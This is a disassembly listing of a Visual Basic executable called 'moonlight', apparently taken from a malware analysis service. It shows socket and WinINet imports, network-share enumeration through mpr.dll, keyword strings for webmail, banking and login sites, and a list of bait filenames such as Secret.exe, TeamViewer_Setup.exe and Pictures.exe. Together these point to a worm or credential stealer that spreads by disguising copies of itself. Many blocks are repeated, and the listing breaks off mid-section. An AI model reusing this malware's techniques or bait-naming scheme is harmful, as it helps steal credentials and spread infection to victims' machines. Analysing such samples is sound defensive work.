File moonlight_4ee502b0ead248bae0a05466deb54e9bb532a9c41de1480425eb48eacf508e75.exe
Function:
Loading..
004070f0
004070f0 struct VBDeclareNameLength
004070f0 cbName int 14
004070f4
004070f4 string "gethostbyaddr",0
00407102
00407102 00 00 ..
00407104
00407104 struct DeclareInfo
00407104 lpszLibraryName uint32 0x406d24
00407108 lpszFunctionName uint32 0x4070f4
0040710c dwFlags uint32 0x00040000
00407110 lpCache uint32 0x41be18
00407114 dwReserved uint32 0x00000000
00407118
00407118 00 00 00 00 ....
004070f0 struct VBDeclareNameLength
004070f0 cbName int 14
004070f4
004070f4 string "gethostbyaddr",0
00407102
00407102 00 00 ..
00407104
00407104 struct DeclareInfo
00407104 lpszLibraryName uint32 0x406d24
00407108 lpszFunctionName uint32 0x4070f4
0040710c dwFlags uint32 0x00040000
00407110 lpCache uint32 0x41be18
00407114 dwReserved uint32 0x00000000
00407118
00407118 00 00 00 00 ....
0040711c
0040711cfn_40711c:
0040711cmov eax, [0x41be20]
00407121or eax, eax
00407123je 0x407127
00407125jmp eax
00407127
00407127loc_407127:
00407127push 0x407104
0040712cmov eax, 0x4010e0
00407131call eax
00407133jmp eax
0040711c
0040711cfn_40711c:
0040711cmov eax, [0x41be20]
00407121or eax, eax
00407123je 0x407127
00407125jmp eax
00407127
00407127loc_407127:
00407127push 0x407104
0040712cmov eax, 0x4010e0
00407131call eax
00407133jmp eax
0040711c
00407135
00407135 00 00 00 ...
00407138
00407138 struct VBDeclareNameLength
00407138 cbName int 10
0040713c
0040713c string "inet_addr",0
00407146
00407146 00 00 ..
00407148
00407148 struct DeclareInfo
00407148 lpszLibraryName uint32 0x406d24
0040714c lpszFunctionName uint32 0x40713c
00407150 dwFlags uint32 0x00040000
00407154 lpCache uint32 0x41be24
00407158 dwReserved uint32 0x00000000
0040715c
0040715c 00 00 00 00 ....
00407135 00 00 00 ...
00407138
00407138 struct VBDeclareNameLength
00407138 cbName int 10
0040713c
0040713c string "inet_addr",0
00407146
00407146 00 00 ..
00407148
00407148 struct DeclareInfo
00407148 lpszLibraryName uint32 0x406d24
0040714c lpszFunctionName uint32 0x40713c
00407150 dwFlags uint32 0x00040000
00407154 lpCache uint32 0x41be24
00407158 dwReserved uint32 0x00000000
0040715c
0040715c 00 00 00 00 ....
00407160
00407160fn_407160:
00407160mov eax, [0x41be2c]
00407165or eax, eax
00407167je 0x40716b
00407169jmp eax
0040716b
0040716bloc_40716b:
0040716bpush 0x407148
00407170mov eax, 0x4010e0
00407175call eax
00407177jmp eax
00407160
00407160fn_407160:
00407160mov eax, [0x41be2c]
00407165or eax, eax
00407167je 0x40716b
00407169jmp eax
0040716b
0040716bloc_40716b:
0040716bpush 0x407148
00407170mov eax, 0x4010e0
00407175call eax
00407177jmp eax
00407160
00407179
00407179 00 00 00 ...
0040717c
0040717c struct VBDeclareNameLength
0040717c cbName int 6
00407180
00407180 string "htons",0
00407186
00407186 00 00 ..
00407188
00407188 struct DeclareInfo
00407188 lpszLibraryName uint32 0x406d24
0040718c lpszFunctionName uint32 0x407180
00407190 dwFlags uint32 0x00040000
00407194 lpCache uint32 0x41be30
00407198 dwReserved uint32 0x00000000
0040719c
0040719c 00 00 00 00 ....
00407179 00 00 00 ...
0040717c
0040717c struct VBDeclareNameLength
0040717c cbName int 6
00407180
00407180 string "htons",0
00407186
00407186 00 00 ..
00407188
00407188 struct DeclareInfo
00407188 lpszLibraryName uint32 0x406d24
0040718c lpszFunctionName uint32 0x407180
00407190 dwFlags uint32 0x00040000
00407194 lpCache uint32 0x41be30
00407198 dwReserved uint32 0x00000000
0040719c
0040719c 00 00 00 00 ....
004071a0
004071a0fn_4071a0:
004071a0mov eax, [0x41be38]
004071a5or eax, eax
004071a7je 0x4071ab
004071a9jmp eax
004071ab
004071abloc_4071ab:
004071abpush 0x407188
004071b0mov eax, 0x4010e0
004071b5call eax
004071b7jmp eax
004071a0
004071a0fn_4071a0:
004071a0mov eax, [0x41be38]
004071a5or eax, eax
004071a7je 0x4071ab
004071a9jmp eax
004071ab
004071abloc_4071ab:
004071abpush 0x407188
004071b0mov eax, 0x4010e0
004071b5call eax
004071b7jmp eax
004071a0
004071b9
004071b9 00 00 00 ...
004071bc
004071bc struct VBDeclareNameLength
004071bc cbName int 12
004071c0
004071c0 string "ioctlsocket",0
004071cc
004071cc struct DeclareInfo
004071cc lpszLibraryName uint32 0x406d24
004071d0 lpszFunctionName uint32 0x4071c0
004071d4 dwFlags uint32 0x00040000
004071d8 lpCache uint32 0x41be3c
004071dc dwReserved uint32 0x00000000
004071e0
004071e0 00 00 00 00 ....
004071b9 00 00 00 ...
004071bc
004071bc struct VBDeclareNameLength
004071bc cbName int 12
004071c0
004071c0 string "ioctlsocket",0
004071cc
004071cc struct DeclareInfo
004071cc lpszLibraryName uint32 0x406d24
004071d0 lpszFunctionName uint32 0x4071c0
004071d4 dwFlags uint32 0x00040000
004071d8 lpCache uint32 0x41be3c
004071dc dwReserved uint32 0x00000000
004071e0
004071e0 00 00 00 00 ....
004071e4
004071e4fn_4071e4:
004071e4mov eax, [0x41be44]
004071e9or eax, eax
004071ebje 0x4071ef
004071edjmp eax
004071ef
004071efloc_4071ef:
004071efpush 0x4071cc
004071f4mov eax, 0x4010e0
004071f9call eax
004071fbjmp eax
004071e4
004071e4fn_4071e4:
004071e4mov eax, [0x41be44]
004071e9or eax, eax
004071ebje 0x4071ef
004071edjmp eax
004071ef
004071efloc_4071ef:
004071efpush 0x4071cc
004071f4mov eax, 0x4010e0
004071f9call eax
004071fbjmp eax
004071e4
004071fd
004071fd 00 00 00 ...
00407200
00407200 struct VBDeclareNameLength
00407200 cbName int 7
00407204
00407204 string "socket",0
0040720b
0040720b 00 .
0040720c
0040720c struct DeclareInfo
0040720c lpszLibraryName uint32 0x406d24
00407210 lpszFunctionName uint32 0x407204
00407214 dwFlags uint32 0x00040000
00407218 lpCache uint32 0x41be48
0040721c dwReserved uint32 0x00000000
00407220
00407220 00 00 00 00 ....
004071fd 00 00 00 ...
00407200
00407200 struct VBDeclareNameLength
00407200 cbName int 7
00407204
00407204 string "socket",0
0040720b
0040720b 00 .
0040720c
0040720c struct DeclareInfo
0040720c lpszLibraryName uint32 0x406d24
00407210 lpszFunctionName uint32 0x407204
00407214 dwFlags uint32 0x00040000
00407218 lpCache uint32 0x41be48
0040721c dwReserved uint32 0x00000000
00407220
00407220 00 00 00 00 ....
00407224
00407224fn_407224:
00407224mov eax, [0x41be50]
00407229or eax, eax
0040722bje 0x40722f
0040722djmp eax
0040722f
0040722floc_40722f:
0040722fpush 0x40720c
00407234mov eax, 0x4010e0
00407239call eax
0040723bjmp eax
00407224
00407224fn_407224:
00407224mov eax, [0x41be50]
00407229or eax, eax
0040722bje 0x40722f
0040722djmp eax
0040722f
0040722floc_40722f:
0040722fpush 0x40720c
00407234mov eax, 0x4010e0
00407239call eax
0040723bjmp eax
00407224
0040723d
0040723d 00 00 00 ...
00407240
00407240 struct VBDeclareNameLength
00407240 cbName int 8
00407244
00407244 string "connect",0
0040724c
0040724c struct DeclareInfo
0040724c lpszLibraryName uint32 0x406d24
00407250 lpszFunctionName uint32 0x407244
00407254 dwFlags uint32 0x00040000
00407258 lpCache uint32 0x41be54
0040725c dwReserved uint32 0x00000000
00407260
00407260 00 00 00 00 ....
0040723d 00 00 00 ...
00407240
00407240 struct VBDeclareNameLength
00407240 cbName int 8
00407244
00407244 string "connect",0
0040724c
0040724c struct DeclareInfo
0040724c lpszLibraryName uint32 0x406d24
00407250 lpszFunctionName uint32 0x407244
00407254 dwFlags uint32 0x00040000
00407258 lpCache uint32 0x41be54
0040725c dwReserved uint32 0x00000000
00407260
00407260 00 00 00 00 ....
00407264
00407264fn_407264:
00407264mov eax, [0x41be5c]
00407269or eax, eax
0040726bje 0x40726f
0040726djmp eax
0040726f
0040726floc_40726f:
0040726fpush 0x40724c
00407274mov eax, 0x4010e0
00407279call eax
0040727bjmp eax
00407264
00407264fn_407264:
00407264mov eax, [0x41be5c]
00407269or eax, eax
0040726bje 0x40726f
0040726djmp eax
0040726f
0040726floc_40726f:
0040726fpush 0x40724c
00407274mov eax, 0x4010e0
00407279call eax
0040727bjmp eax
00407264
0040727d
0040727d 00 00 00 ...
00407280
00407280 struct DeclareInfo
00407280 lpszLibraryName uint32 0x406d24
00407284 lpszFunctionName uint32 0x4070ac
00407288 dwFlags uint32 0x00040000
0040728c lpCache uint32 0x41be60
00407290 dwReserved uint32 0x00000000
00407294
00407294 00 00 00 00 ....
0040727d 00 00 00 ...
00407280
00407280 struct DeclareInfo
00407280 lpszLibraryName uint32 0x406d24
00407284 lpszFunctionName uint32 0x4070ac
00407288 dwFlags uint32 0x00040000
0040728c lpCache uint32 0x41be60
00407290 dwReserved uint32 0x00000000
00407294
00407294 00 00 00 00 ....
00407298
00407298fn_407298:
00407298mov eax, [0x41be68]
0040729dor eax, eax
0040729fje 0x4072a3
004072a1jmp eax
004072a3
004072a3loc_4072a3:
004072a3push 0x407280
004072a8mov eax, 0x4010e0
004072adcall eax
004072afjmp eax
00407298
00407298fn_407298:
00407298mov eax, [0x41be68]
0040729dor eax, eax
0040729fje 0x4072a3
004072a1jmp eax
004072a3
004072a3loc_4072a3:
004072a3push 0x407280
004072a8mov eax, 0x4010e0
004072adcall eax
004072afjmp eax
00407298
004072b1
004072b1 00 00 00 ...
004072b4
004072b4 struct DeclareInfo
004072b4 lpszLibraryName uint32 0x406d24
004072b8 lpszFunctionName uint32 0x4070a0
004072bc dwFlags uint32 0x00040000
004072c0 lpCache uint32 0x41be6c
004072c4 dwReserved uint32 0x00000000
004072c8
004072c8 00 00 00 00 ....
004072b1 00 00 00 ...
004072b4
004072b4 struct DeclareInfo
004072b4 lpszLibraryName uint32 0x406d24
004072b8 lpszFunctionName uint32 0x4070a0
004072bc dwFlags uint32 0x00040000
004072c0 lpCache uint32 0x41be6c
004072c4 dwReserved uint32 0x00000000
004072c8
004072c8 00 00 00 00 ....
004072cc
004072ccfn_4072cc:
004072ccmov eax, [0x41be74]
004072d1or eax, eax
004072d3je 0x4072d7
004072d5jmp eax
004072d7
004072d7loc_4072d7:
004072d7push 0x4072b4
004072dcmov eax, 0x4010e0
004072e1call eax
004072e3jmp eax
004072cc
004072ccfn_4072cc:
004072ccmov eax, [0x41be74]
004072d1or eax, eax
004072d3je 0x4072d7
004072d5jmp eax
004072d7
004072d7loc_4072d7:
004072d7push 0x4072b4
004072dcmov eax, 0x4010e0
004072e1call eax
004072e3jmp eax
004072cc
004072e5
004072e5 00 00 00 ...
004072e8
004072e8 struct VBDeclareNameLength
004072e8 cbName int 12
004072ec
004072ec string "closesocket",0
004072f8
004072f8 struct DeclareInfo
004072f8 lpszLibraryName uint32 0x406d24
004072fc lpszFunctionName uint32 0x4072ec
00407300 dwFlags uint32 0x00040000
00407304 lpCache uint32 0x41be78
00407308 dwReserved uint32 0x00000000
0040730c
0040730c 00 00 00 00 ....
004072e5 00 00 00 ...
004072e8
004072e8 struct VBDeclareNameLength
004072e8 cbName int 12
004072ec
004072ec string "closesocket",0
004072f8
004072f8 struct DeclareInfo
004072f8 lpszLibraryName uint32 0x406d24
004072fc lpszFunctionName uint32 0x4072ec
00407300 dwFlags uint32 0x00040000
00407304 lpCache uint32 0x41be78
00407308 dwReserved uint32 0x00000000
0040730c
0040730c 00 00 00 00 ....
00407310
00407310fn_407310:
00407310mov eax, [0x41be80]
00407315or eax, eax
00407317je 0x40731b
00407319jmp eax
0040731b
0040731bloc_40731b:
0040731bpush 0x4072f8
00407320mov eax, 0x4010e0
00407325call eax
00407327jmp eax
00407310
00407310fn_407310:
00407310mov eax, [0x41be80]
00407315or eax, eax
00407317je 0x40731b
00407319jmp eax
0040731b
0040731bloc_40731b:
0040731bpush 0x4072f8
00407320mov eax, 0x4010e0
00407325call eax
00407327jmp eax
00407310
00407329
00407329 00 00 00 58 00 48 00 ...X.H.
00407330 00 00 04 00 00 00 00 10 0c 00 49 20 00 00 ff ff ..........I ....
00407340 d8 6c 40 00 ff ff ff ff ff ff ff ff 00 00 00 00 .l@.............
00407350 90 01 00 00 24 00 49 20 00 00 ff ff d8 6c 40 00 ....$.I .....l@.
00407360 04 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
00407370 3c 00 05 21 00 00 ff ff 01 20 40 00 05 21 00 00 <..!..... @..!..
00407380 ff ff 01 20 ...
00407384
00407384 struct VBDeclareNameLength
00407384 cbName int 17
00407388
00407388 string "InternetReadFile",0
00407399
00407399 00 00 00 ...
0040739c
0040739c struct DeclareInfo
0040739c lpszLibraryName uint32 0x40660c
004073a0 lpszFunctionName uint32 0x407388
004073a4 dwFlags uint32 0x00040000
004073a8 lpCache uint32 0x41be84
004073ac dwReserved uint32 0x00000000
004073b0
004073b0 00 00 00 00 ....
00407329 00 00 00 58 00 48 00 ...X.H.
00407330 00 00 04 00 00 00 00 10 0c 00 49 20 00 00 ff ff ..........I ....
00407340 d8 6c 40 00 ff ff ff ff ff ff ff ff 00 00 00 00 .l@.............
00407350 90 01 00 00 24 00 49 20 00 00 ff ff d8 6c 40 00 ....$.I .....l@.
00407360 04 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
00407370 3c 00 05 21 00 00 ff ff 01 20 40 00 05 21 00 00 <..!..... @..!..
00407380 ff ff 01 20 ...
00407384
00407384 struct VBDeclareNameLength
00407384 cbName int 17
00407388
00407388 string "InternetReadFile",0
00407399
00407399 00 00 00 ...
0040739c
0040739c struct DeclareInfo
0040739c lpszLibraryName uint32 0x40660c
004073a0 lpszFunctionName uint32 0x407388
004073a4 dwFlags uint32 0x00040000
004073a8 lpCache uint32 0x41be84
004073ac dwReserved uint32 0x00000000
004073b0
004073b0 00 00 00 00 ....
004073b4
004073b4fn_4073b4:
004073b4mov eax, [0x41be8c]
004073b9or eax, eax
004073bbje 0x4073bf
004073bdjmp eax
004073bf
004073bfloc_4073bf:
004073bfpush 0x40739c
004073c4mov eax, 0x4010e0
004073c9call eax
004073cbjmp eax
004073b4
004073b4fn_4073b4:
004073b4mov eax, [0x41be8c]
004073b9or eax, eax
004073bbje 0x4073bf
004073bdjmp eax
004073bf
004073bfloc_4073bf:
004073bfpush 0x40739c
004073c4mov eax, 0x4010e0
004073c9call eax
004073cbjmp eax
004073b4
004073cd
004073cd 00 00 00 ...
004073d0
004073d0 struct VBDeclareNameLength
004073d0 cbName int 20
004073d4
004073d4 string "InternetCloseHandle",0
004073e8
004073e8 struct DeclareInfo
004073e8 lpszLibraryName uint32 0x40660c
004073ec lpszFunctionName uint32 0x4073d4
004073f0 dwFlags uint32 0x00040000
004073f4 lpCache uint32 0x41be90
004073f8 dwReserved uint32 0x00000000
004073fc
004073fc 00 00 00 00 ....
004073cd 00 00 00 ...
004073d0
004073d0 struct VBDeclareNameLength
004073d0 cbName int 20
004073d4
004073d4 string "InternetCloseHandle",0
004073e8
004073e8 struct DeclareInfo
004073e8 lpszLibraryName uint32 0x40660c
004073ec lpszFunctionName uint32 0x4073d4
004073f0 dwFlags uint32 0x00040000
004073f4 lpCache uint32 0x41be90
004073f8 dwReserved uint32 0x00000000
004073fc
004073fc 00 00 00 00 ....
00407400
00407400fn_407400:
00407400mov eax, [0x41be98]
00407405or eax, eax
00407407je 0x40740b
00407409jmp eax
0040740b
0040740bloc_40740b:
0040740bpush 0x4073e8
00407410mov eax, 0x4010e0
00407415call eax
00407417jmp eax
00407400
00407400fn_407400:
00407400mov eax, [0x41be98]
00407405or eax, eax
00407407je 0x40740b
00407409jmp eax
0040740b
0040740bloc_40740b:
0040740bpush 0x4073e8
00407410mov eax, 0x4010e0
00407415call eax
00407417jmp eax
00407400
00407419
00407419 00 00 00 ...
0040741c
0040741c struct VBDeclareNameLength
0040741c cbName int 14
00407420
00407420 string "InternetOpenA",0
0040742e
0040742e 00 00 ..
00407430 02 00 00 00 ....
00407434
00407434 wstring ".",0
00407438
00407438 06 00 00 00 ....
0040743c
0040743c wstring "hzy",0
00407444
00407444 02 00 00 00 ....
00407448
00407448 wstring "V",0
0040744c
0040744c struct DeclareInfo
0040744c lpszLibraryName uint32 0x40660c
00407450 lpszFunctionName uint32 0x407420
00407454 dwFlags uint32 0x00040000
00407458 lpCache uint32 0x41be9c
0040745c dwReserved uint32 0x00000000
00407460
00407460 00 00 00 00 ....
00407419 00 00 00 ...
0040741c
0040741c struct VBDeclareNameLength
0040741c cbName int 14
00407420
00407420 string "InternetOpenA",0
0040742e
0040742e 00 00 ..
00407430 02 00 00 00 ....
00407434
00407434 wstring ".",0
00407438
00407438 06 00 00 00 ....
0040743c
0040743c wstring "hzy",0
00407444
00407444 02 00 00 00 ....
00407448
00407448 wstring "V",0
0040744c
0040744c struct DeclareInfo
0040744c lpszLibraryName uint32 0x40660c
00407450 lpszFunctionName uint32 0x407420
00407454 dwFlags uint32 0x00040000
00407458 lpCache uint32 0x41be9c
0040745c dwReserved uint32 0x00000000
00407460
00407460 00 00 00 00 ....
00407464
00407464fn_407464:
00407464mov eax, [0x41bea4]
00407469or eax, eax
0040746bje 0x40746f
0040746djmp eax
0040746f
0040746floc_40746f:
0040746fpush 0x40744c
00407474mov eax, 0x4010e0
00407479call eax
0040747bjmp eax
00407464
00407464fn_407464:
00407464mov eax, [0x41bea4]
00407469or eax, eax
0040746bje 0x40746f
0040746djmp eax
0040746f
0040746floc_40746f:
0040746fpush 0x40744c
00407474mov eax, 0x4010e0
00407479call eax
0040747bjmp eax
00407464
0040747d
0040747d 00 00 00 ...
00407480
00407480 struct VBDeclareNameLength
00407480 cbName int 17
00407484
00407484 string "InternetConnectA",0
00407495
00407495 00 00 00 ...
00407498
00407498 struct DeclareInfo
00407498 lpszLibraryName uint32 0x40660c
0040749c lpszFunctionName uint32 0x407484
004074a0 dwFlags uint32 0x00040000
004074a4 lpCache uint32 0x41bea8
004074a8 dwReserved uint32 0x00000000
004074ac
004074ac 00 00 00 00 ....
0040747d 00 00 00 ...
00407480
00407480 struct VBDeclareNameLength
00407480 cbName int 17
00407484
00407484 string "InternetConnectA",0
00407495
00407495 00 00 00 ...
00407498
00407498 struct DeclareInfo
00407498 lpszLibraryName uint32 0x40660c
0040749c lpszFunctionName uint32 0x407484
004074a0 dwFlags uint32 0x00040000
004074a4 lpCache uint32 0x41bea8
004074a8 dwReserved uint32 0x00000000
004074ac
004074ac 00 00 00 00 ....
004074b0
004074b0fn_4074b0:
004074b0mov eax, [0x41beb0]
004074b5or eax, eax
004074b7je 0x4074bb
004074b9jmp eax
004074bb
004074bbloc_4074bb:
004074bbpush 0x407498
004074c0mov eax, 0x4010e0
004074c5call eax
004074c7jmp eax
004074b0
004074b0fn_4074b0:
004074b0mov eax, [0x41beb0]
004074b5or eax, eax
004074b7je 0x4074bb
004074b9jmp eax
004074bb
004074bbloc_4074bb:
004074bbpush 0x407498
004074c0mov eax, 0x4010e0
004074c5call eax
004074c7jmp eax
004074b0
004074c9
004074c9 00 00 00 ...
004074cc
004074cc struct VBDeclareNameLength
004074cc cbName int 17
004074d0
004074d0 string "InternetOpenUrlA",0
004074e1
004074e1 00 00 00 ...
004074e4
004074e4 struct DeclareInfo
004074e4 lpszLibraryName uint32 0x40660c
004074e8 lpszFunctionName uint32 0x4074d0
004074ec dwFlags uint32 0x00040000
004074f0 lpCache uint32 0x41beb4
004074f4 dwReserved uint32 0x00000000
004074f8
004074f8 00 00 00 00 ....
004074c9 00 00 00 ...
004074cc
004074cc struct VBDeclareNameLength
004074cc cbName int 17
004074d0
004074d0 string "InternetOpenUrlA",0
004074e1
004074e1 00 00 00 ...
004074e4
004074e4 struct DeclareInfo
004074e4 lpszLibraryName uint32 0x40660c
004074e8 lpszFunctionName uint32 0x4074d0
004074ec dwFlags uint32 0x00040000
004074f0 lpCache uint32 0x41beb4
004074f4 dwReserved uint32 0x00000000
004074f8
004074f8 00 00 00 00 ....
004074fc
004074fcfn_4074fc:
004074fcmov eax, [0x41bebc]
00407501or eax, eax
00407503je 0x407507
00407505jmp eax
00407507
00407507loc_407507:
00407507push 0x4074e4
0040750cmov eax, 0x4010e0
00407511call eax
00407513jmp eax
004074fc
004074fcfn_4074fc:
004074fcmov eax, [0x41bebc]
00407501or eax, eax
00407503je 0x407507
00407505jmp eax
00407507
00407507loc_407507:
00407507push 0x4074e4
0040750cmov eax, 0x4010e0
00407511call eax
00407513jmp eax
004074fc
00407515
00407515 00 00 00 0c 00 08 00 00 00 00 00 ...........
00407520 00 00 00 00 14 00 00 00 ........
00407528
00407528 wstring "Friendster",0
0040753e
0040753e 00 00 ..
00407540 0a 00 00 00 ....
00407544
00407544 wstring "yahoo",0
00407550
00407550 0a 00 00 00 ....
00407554
00407554 wstring "gmail",0
00407560
00407560 0a 00 00 00 ....
00407564
00407564 wstring "login",0
00407570
00407570 08 00 00 00 ....
00407574
00407574 wstring "bank",0
0040757e
0040757e 00 00 ..
00407580 0e 00 00 00 ....
00407584
00407584 wstring "hotmail",0
00407594
00407594 12 00 00 00 ....
00407598
00407598 wstring "\\64enc.en",0
004075ac
004075ac 14 00 00 00 ....
004075b0
004075b0 wstring "\\MYpIC.zip",0
004075c6
004075c6 00 00 04 00 00 00 ......
004075cc
004075cc wstring ":\\",0
004075d2
004075d2 00 00 00 00 00 00 47 00 65 00 74 00 46 00 ......G.e.t.F.
004075e0 69 00 6c 00 65 00 00 00 4f 00 70 00 65 00 6e 00 i.l.e...O.p.e.n.
004075f0 41 00 73 00 54 00 65 00 78 00 74 00 53 00 74 00 A.s.T.e.x.t.S.t.
00407600 72 00 65 00 61 00 6d 00 00 00 00 00 52 00 65 00 r.e.a.m.....R.e.
00407610 61 00 64 00 41 00 6c 00 6c 00 00 00 02 00 00 00 a.d.A.l.l.......
00407620
00407620 wstring "@",0
00407624
00407624 43 00 6c 00 6f 00 73 00 65 00 00 00 C.l.o.s.e...
00407630 52 00 65 00 61 00 64 00 4c 00 69 00 6e 00 65 00 R.e.a.d.L.i.n.e.
00407640 00 00 00 00 02 00 00 00 ........
00407648
00407648 wstring " ",0
0040764c
0040764c 4e 00 00 00 N...
00407650
00407650 wstring "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-._",0
004076a0
004076a0 04 00 00 00 ....
004076a4
004076a4 wstring "CO",0
004076aa
004076aa 00 00 02 00 00 00 ......
004076b0
004076b0 wstring "m",0
004076b4
004076b4 04 00 00 00 ....
004076b8
004076b8 wstring ".B",0
004076be
004076be 00 00 ..
004076c0 02 00 00 00 ....
004076c4
004076c4 wstring "r",0
004076c8
004076c8 06 00 00 00 ....
004076cc
004076cc wstring "zip",0
004076d4
004076d4 06 00 00 00 ....
004076d8
004076d8 wstring "}q}",0
004076e0
004076e0 06 00 00 00 ....
004076e4
004076e4 wstring "}de",0
004076ec
004076ec 2c 00 00 00 ,...
004076f0
004076f0 wstring "RealPlayer13-5GOLD.exe",0
0040771e
0040771e 00 00 ..
00407720 3c 00 00 00 <...
00407724
00407724 wstring "Icon Cool-Editor 3.4.30315.exe",0
00407762
00407762 00 00 22 00 00 00 .."...
00407768
00407768 wstring "CheatEngine52.exe",0
0040778c
0040778c 22 00 00 00 "...
00407790
00407790 wstring "framework-4.4.exe",0
004077b4
004077b4 42 00 00 00 B...
004077b8
004077b8 wstring "Vista Transformation Pack 4.0.exe",0
004077fc
004077fc 36 00 00 00 6...
00407800
00407800 wstring "Pack_Vista_Inspirat_1.6.exe",0
00407838
00407838 2a 00 00 00 *...
0040783c
0040783c wstring "DeepUnfreezerU1.6.exe",0
00407868
00407868 struct VBDeclareNameLength
00407868 cbName int 14
0040786c
0040786c string "WNetOpenEnumA",0
0040787a
0040787a 00 00 02 00 00 00 ......
00407880
00407880 wstring "T",0
00407884
00407884 02 00 00 00 ....
00407888
00407888 wstring "t",0
0040788c
0040788c 50 00 00 00 P...
00407890
00407890 wstring "Pack_Longhorn_Inspirat_1.6_code32547.exe",0
004078e2
004078e2 00 00 28 00 00 00 ..(...
004078e8
004078e8 wstring "TeamViewer_Setup.exe",0
00407912
00407912 00 00 16 00 00 00 ......
00407918
00407918 wstring "Licence.exe",0
00407930
00407930 18 00 00 00 ....
00407934
00407934 wstring "Pictures.exe",0
0040794e
0040794e 00 00 ..
00407950 14 00 00 00 ....
00407954
00407954 wstring "Secret.exe",0
0040796a
0040796a 00 00 1a 00 00 00 ......
00407970
00407970 wstring "Documents.exe",0
0040798c
0040798c 12 00 00 00 ....
00407990
00407990 wstring "Vivid.exe",0
004079a4
004079a4 14 00 00 00 ....
004079a8
004079a8 wstring "update.exe",0
004079be
004079be 00 00 ..
004079c0 0e 00 00 00 ....
004079c4
004079c4 wstring "XXX.exe",0
004079d4
004079d4 10 00 00 00 ....
004079d8
004079d8 wstring "cool.exe",0
004079ea
004079ea 00 00 12 00 00 00 ......
004079f0
004079f0 wstring "vitae.exe",0
00407a04
00407a04 12 00 00 00 ....
00407a08
00407a08 wstring "error.exe",0
00407a1c
00407a1c 06 00 00 00 ....
00407a20
00407a20 wstring "c:\\",0
00407a28
00407a28 0c 00 20 00 00 00 00 00 .. .....
00407a30 20 00 04 04 ...
00407a34
00407a34 struct VBDeclareNameLength
00407a34 cbName int 8
00407a38
00407a38 string "mpr.dll",0
00407a40
00407a40 02 00 00 00 ....
00407a44
00407a44 wstring "U",0
00407a48
00407a48 00 00 00 00 38 00 90 01 ....8...
00407a50 00 00 01 00 90 01 04 2c 00 00 85 00 00 10 7f 01 .......,........
00407a60 01 00 00 00 01 00 00 00 01 00 96 01 04 00 00 00 ................
00407a70 00 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 ........d.......
00407a80 08 00 00 00 0c 00 01 10 00 00 00 00 01 10 01 04 ................
00407a90 18 00 80 00 00 00 03 00 80 00 04 2c 00 00 01 00 ...........,....
00407aa0 04 00 01 00 08 00 01 00 ........
00407aa8
00407aa8 struct VBDeclareNameLength
00407aa8 cbName int 14
00407aac
00407aac string "moonlight.dll",0
00407aba
00407aba 00 00 ..
00407abc
00407abc struct VBDeclareNameLength
00407abc cbName int 7
00407ac0
00407ac0 string "ZpInit",0
00407ac7
00407ac7 00 .
00407ac8
00407ac8 struct DeclareInfo
00407ac8 lpszLibraryName uint32 0x407aac
00407acc lpszFunctionName uint32 0x407ac0
00407ad0 dwFlags uint32 0x00040000
00407ad4 lpCache uint32 0x41bec0
00407ad8 dwReserved uint32 0x00000000
00407adc
00407adc 00 00 00 00 ....
00407515 00 00 00 0c 00 08 00 00 00 00 00 ...........
00407520 00 00 00 00 14 00 00 00 ........
00407528
00407528 wstring "Friendster",0
0040753e
0040753e 00 00 ..
00407540 0a 00 00 00 ....
00407544
00407544 wstring "yahoo",0
00407550
00407550 0a 00 00 00 ....
00407554
00407554 wstring "gmail",0
00407560
00407560 0a 00 00 00 ....
00407564
00407564 wstring "login",0
00407570
00407570 08 00 00 00 ....
00407574
00407574 wstring "bank",0
0040757e
0040757e 00 00 ..
00407580 0e 00 00 00 ....
00407584
00407584 wstring "hotmail",0
00407594
00407594 12 00 00 00 ....
00407598
00407598 wstring "\\64enc.en",0
004075ac
004075ac 14 00 00 00 ....
004075b0
004075b0 wstring "\\MYpIC.zip",0
004075c6
004075c6 00 00 04 00 00 00 ......
004075cc
004075cc wstring ":\\",0
004075d2
004075d2 00 00 00 00 00 00 47 00 65 00 74 00 46 00 ......G.e.t.F.
004075e0 69 00 6c 00 65 00 00 00 4f 00 70 00 65 00 6e 00 i.l.e...O.p.e.n.
004075f0 41 00 73 00 54 00 65 00 78 00 74 00 53 00 74 00 A.s.T.e.x.t.S.t.
00407600 72 00 65 00 61 00 6d 00 00 00 00 00 52 00 65 00 r.e.a.m.....R.e.
00407610 61 00 64 00 41 00 6c 00 6c 00 00 00 02 00 00 00 a.d.A.l.l.......
00407620
00407620 wstring "@",0
00407624
00407624 43 00 6c 00 6f 00 73 00 65 00 00 00 C.l.o.s.e...
00407630 52 00 65 00 61 00 64 00 4c 00 69 00 6e 00 65 00 R.e.a.d.L.i.n.e.
00407640 00 00 00 00 02 00 00 00 ........
00407648
00407648 wstring " ",0
0040764c
0040764c 4e 00 00 00 N...
00407650
00407650 wstring "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-._",0
004076a0
004076a0 04 00 00 00 ....
004076a4
004076a4 wstring "CO",0
004076aa
004076aa 00 00 02 00 00 00 ......
004076b0
004076b0 wstring "m",0
004076b4
004076b4 04 00 00 00 ....
004076b8
004076b8 wstring ".B",0
004076be
004076be 00 00 ..
004076c0 02 00 00 00 ....
004076c4
004076c4 wstring "r",0
004076c8
004076c8 06 00 00 00 ....
004076cc
004076cc wstring "zip",0
004076d4
004076d4 06 00 00 00 ....
004076d8
004076d8 wstring "}q}",0
004076e0
004076e0 06 00 00 00 ....
004076e4
004076e4 wstring "}de",0
004076ec
004076ec 2c 00 00 00 ,...
004076f0
004076f0 wstring "RealPlayer13-5GOLD.exe",0
0040771e
0040771e 00 00 ..
00407720 3c 00 00 00 <...
00407724
00407724 wstring "Icon Cool-Editor 3.4.30315.exe",0
00407762
00407762 00 00 22 00 00 00 .."...
00407768
00407768 wstring "CheatEngine52.exe",0
0040778c
0040778c 22 00 00 00 "...
00407790
00407790 wstring "framework-4.4.exe",0
004077b4
004077b4 42 00 00 00 B...
004077b8
004077b8 wstring "Vista Transformation Pack 4.0.exe",0
004077fc
004077fc 36 00 00 00 6...
00407800
00407800 wstring "Pack_Vista_Inspirat_1.6.exe",0
00407838
00407838 2a 00 00 00 *...
0040783c
0040783c wstring "DeepUnfreezerU1.6.exe",0
00407868
00407868 struct VBDeclareNameLength
00407868 cbName int 14
0040786c
0040786c string "WNetOpenEnumA",0
0040787a
0040787a 00 00 02 00 00 00 ......
00407880
